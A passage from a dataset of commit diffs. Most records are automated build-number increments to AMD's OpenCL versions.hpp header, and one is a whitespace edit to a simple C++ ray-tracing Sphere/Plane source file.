AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1716952 by chui@ocl-promo-incrementor on 2018\/12\/06 03:00:18<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n#define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n#define AMD_PLATFORM_BUILD_NUMBER 2789\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n#define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n#define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING \\\n XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n#define AMD_PLATFORM_INFO \\\n \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO DEBUG_ONLY( \\\n \".\" IF(IS_OPTIMIZED, \"opt\", \"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n#define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n#define AMD_PLATFORM_BUILD_NUMBER 2495\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n#define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n#define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING \\\n XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n#define AMD_PLATFORM_INFO \\\n \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO DEBUG_ONLY( \\\n \".\" IF(IS_OPTIMIZED, \"opt\", \"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1457669 by johtaylo@johtaylo-jtincrementor-increment on 2017\/09\/12 03:00:05<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n#define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n#define AMD_PLATFORM_BUILD_NUMBER 2496\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n#define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n#define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING \\\n XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n#define AMD_PLATFORM_INFO \\\n \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO DEBUG_ONLY( \\\n \".\" IF(IS_OPTIMIZED, \"opt\", \"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n#define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n#define AMD_PLATFORM_BUILD_NUMBER 2471\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n#define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n#define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING \\\n XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n#define AMD_PLATFORM_INFO \\\n \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO DEBUG_ONLY( \\\n \".\" IF(IS_OPTIMIZED, \"opt\", \"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1444919 by johtaylo@johtaylo-jtincrementor-increment on 2017\/08\/09 03:00:05<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n#define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n#define AMD_PLATFORM_BUILD_NUMBER 2472\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n#define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n#define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING \\\n XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n#define AMD_PLATFORM_INFO \\\n \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO DEBUG_ONLY( \\\n \".\" IF(IS_OPTIMIZED, \"opt\", \"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2011\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1229676 by johtaylo@johtaylo-JTBUILDER03-increment on 2016\/01\/21 03:00:11<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2012\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2333\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1361545 by johtaylo@johtaylo-jtincrementor-increment on 2017\/01\/13 03:00:03<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2334\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2279\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1343667 by johtaylo@johtaylo-jtincrementor-increment on 2016\/11\/19 03:00:04<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2280\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2126\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1273675 by johtaylo@johtaylo-JTBUILDER03-increment on 2016\/05\/27 03:00:13<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2127\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Object.cpp\n\/\/ Test02\n\/\/\n\/\/ Created by Golden Compass on 9\/17\/14.\n\/\/ Copyright (c) 2014 Golden Compass. All rights reserved.\n\/\/\n\n#include \"Object.h\"\n\nSphere::Sphere(vec3 _center, float _radius)\n{\n center = _center;\n radius = _radius;\n}\n\/\/bool Sphere::isIntersectByRay(const vec3& ray)\n\/\/{\n\/\/ \n\/\/ return false;\n\/\/}\n\n\n\n\n\nPlane::Plane(float _a, float _b, float _c, float _d)\n{\n a = _a;\n b = _b;\n c = _c;\n d = _d;\n}\n\n\/\/ ax + by + cz + d = 0\nPlane::Plane(vec3 point, vec3 normal)\n{\n a = normal.x;\n b = normal.y;\n c = normal.z;\n d = -(a*point.x) - (b*point.y) - (c*point.z);\n}<commit_msg>working copy…<commit_after>\/\/\n\/\/ Object.cpp\n\/\/ Test02\n\/\/\n\/\/ Created by Golden Compass on 9\/17\/14.\n\/\/ Copyright (c) 2014 Golden Compass. All rights reserved.\n\/\/\n\n#include \"Object.h\"\n\nSphere::Sphere(vec3 _center, float _radius)\n{\n center = _center;\n radius = _radius;\n}\n\/\/bool Sphere::isIntersectByRay(const vec3& ray)\n\/\/{\n\/\/ \n\/\/ return false;\n\/\/}\n\n \n\n\n\nPlane::Plane(float _a, float _b, float _c, float _d)\n{\n a = _a;\n b = _b;\n c = _c;\n d = _d;\n}\n\n\/\/ ax + by + cz + d = 0\nPlane::Plane(vec3 point, vec3 normal)\n{\n a = normal.x;\n b = normal.y;\n c = normal.z;\n d = -(a*point.x) - (b*point.y) - (c*point.z);\n}<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2067\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1249106 by johtaylo@johtaylo-JTBUILDER03-increment on 2016\/03\/19 03:00:11<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2068\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2097\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1258907 by johtaylo@johtaylo-JTBUILDER03-increment on 2016\/04\/18 03:00:24<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2098\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2340\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n# define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n# define AMD_PLATFORM_INFO \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO \\\n DEBUG_ONLY(\".\" IF(IS_OPTIMIZED,\"opt\",\"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1364218 by johtaylo@johtaylo-jtincrementor-increment on 2017\/01\/20 03:00:45<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n# define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n# define AMD_PLATFORM_BUILD_NUMBER 2341\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n# define 